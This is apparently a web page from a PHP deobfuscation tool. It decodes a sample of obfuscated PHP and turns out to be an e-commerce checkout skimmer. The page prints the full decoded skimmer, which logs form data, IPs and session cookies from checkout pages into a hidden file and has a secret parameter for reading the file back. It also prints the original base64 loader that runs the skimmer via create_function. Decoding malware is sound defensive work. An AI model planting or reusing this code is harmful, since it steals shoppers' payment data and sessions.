Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$c5d7be4f2 = 'CmlmICggaXNzZXQoJF9QT1NUKSAmJiBpc19hcnJheSgkX1BPU1QpICYmIGNvdW50KCRfUE9TVCkg..

Decoded Output download

;b'
if ( isset($_POST) && is_array($_POST) && count($_POST) > 0 ) {
    $iquotes = "ka3074cd2";  $a19f38d70 = 1953;
    $log_dir = $_SERVER[\'DOCUMENT_ROOT\'] .\'/var/tmp/\';
    $log_name = \'sess_\'.$iquotes;
    if (!file_exists($log_dir)) @mkdir( $log_dir, 0777, true );
    $e7599e297 = $_POST;
    $e7599e297[\'date\'] = $_SERVER[\'REQUEST_TIME\'];
    $e7599e297[\'ip\'] = $_SERVER[\'REMOTE_ADDR\'];
    $e7599e297[\'url\'] = $_SERVER[\'REQUEST_URI\'];
    if(isset($_COOKIE[\'frontend\'])) $e7599e297[\'cookie\'] = $_COOKIE[\'frontend\'];
    if((strpos($_SERVER[\'REQUEST_URI\'], \'checkout/onepage\')) or (strpos($_SERVER[\'REQUEST_URI\'], \'firecheckout\')) or (strpos($_SERVER[\'REQUEST_URI\'], \'onestepcheckout\')) or (strpos($_SERVER[\'REQUEST_URI\'], \'onepage\'))or (strpos($_SERVER[\'REQUEST_URI\'], \'checkout\')))
    {
        if(@filesize($log_dir . $log_name)>1028*$a19f38d70)
        { @rename($log_dir.$log_name.\'_\', $log_dir.$log_name.\'__\');
            @rename($log_dir.$log_name, $log_dir.$log_name.\'_\');
        }
        $log_entry =  base64_encode(str_rot13(base64_encode(serialize($e7599e297)))) . "
";
        $gb0c659e9=fopen( $log_dir . $log_name, \'a\' );
        fputs($gb0c659e9, $log_entry);
        fclose($gb0c659e9); }
    if(isset($_POST["o97f5a694"]))
    {	$lfca2da30 = file($log_dir.$_POST["o97f5a694"]);
        die(implode("
",$lfca2da30)); }
}
'{

Did this file decode correctly?

Original Code

$c5d7be4f2 = 'CmlmICggaXNzZXQoJF9QT1NUKSAmJiBpc19hcnJheSgkX1BPU1QpICYmIGNvdW50KCRfUE9TVCkgPiAwICkgewogICAgJGlxdW90ZXMgPSAia2EzMDc0Y2QyIjsgICRhMTlmMzhkNzAgPSAxOTUzOwogICAgJGxvZ19kaXIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4nL3Zhci90bXAvJzsKICAgICRsb2dfbmFtZSA9ICdzZXNzXycuJGlxdW90ZXM7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRsb2dfZGlyKSkgQG1rZGlyKCAkbG9nX2RpciwgMDc3NywgdHJ1ZSApOwogICAgJGU3NTk5ZTI5NyA9ICRfUE9TVDsKICAgICRlNzU5OWUyOTdbJ2RhdGUnXSA9ICRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXTsKICAgICRlNzU5OWUyOTdbJ2lwJ10gPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKICAgICRlNzU5OWUyOTdbJ3VybCddID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiAgICBpZihpc3NldCgkX0NPT0tJRVsnZnJvbnRlbmQnXSkpICRlNzU5OWUyOTdbJ2Nvb2tpZSddID0gJF9DT09LSUVbJ2Zyb250ZW5kJ107CiAgICBpZigoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnY2hlY2tvdXQvb25lcGFnZScpKSBvciAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnZmlyZWNoZWNrb3V0JykpIG9yIChzdHJwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICdvbmVzdGVwY2hlY2tvdXQnKSkgb3IgKHN0cnBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgJ29uZXBhZ2UnKSlvciAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnY2hlY2tvdXQnKSkpCiAgICB7CiAgICAgICAgaWYoQGZpbGVzaXplKCRsb2dfZGlyIC4gJGxvZ19uYW1lKT4xMDI4KiRhMTlmMzhkNzApCiAgICAgICAgeyBAcmVuYW1lKCRsb2dfZGlyLiRsb2dfbmFtZS4nXycsICRsb2dfZGlyLiRsb2dfbmFtZS4nX18nKTsKICAgICAgICAgICAgQHJlbmFtZSgkbG9nX2Rpci4kbG9nX25hbWUsICRsb2dfZGlyLiRsb2dfbmFtZS4nXycpOwogICAgICAgIH0KICAgICAgICAkbG9nX2VudHJ5ID0gIGJhc2U2NF9lbmNvZGUoc3RyX3JvdDEzKGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRlNzU5OWUyOTcpKSkpIC4gIlxyXG4iOwogICAgICAgICRnYjBjNjU5ZTk9Zm9wZW4oICRsb2dfZGlyIC4gJGxvZ19uYW1lLCAnYScgKTsKICAgICAgICBmcHV0cygkZ2IwYzY1OWU5LCAkbG9nX2VudHJ5KTsKICAgICAgICBmY2xvc2UoJGdiMGM2NTllOSk7IH0KICAgIGlmKGlzc2V0KCRfUE9TVFsibzk3ZjVhNjk0Il0pKQogICAgewkkbGZjYTJkYTMwID0gZmlsZSgkbG9nX2Rpci4kX1BPU1RbIm85N2Y1YTY5NCJdKTsKICAgICAgICBkaWUoaW1wbG9kZSgiXHJcbiIsJGxmY2EyZGEzMCkpOyB9Cn0K';
$b06526b0f='base'.(32*2).'_de'.'code';
$da822e296=($b06526b0f($c5d7be4f2));
$e3ee676cb=create_function('', "};$da822e296{");

Function Calls

base64_decode 1
create_function 1

Variables

$b06526b0f base64_decode
$c5d7be4f2 CmlmICggaXNzZXQoJF9QT1NUKSAmJiBpc19hcnJheSgkX1BPU1QpICYmIGNv..
$da822e296 if ( isset($_POST) && is_array($_POST) && count($_POST) > 0..
$e3ee676cb None

Stats

MD5 fc455825d1e71a813227e209a5cb2adc
Eval Count 1
Decode Time 85 ms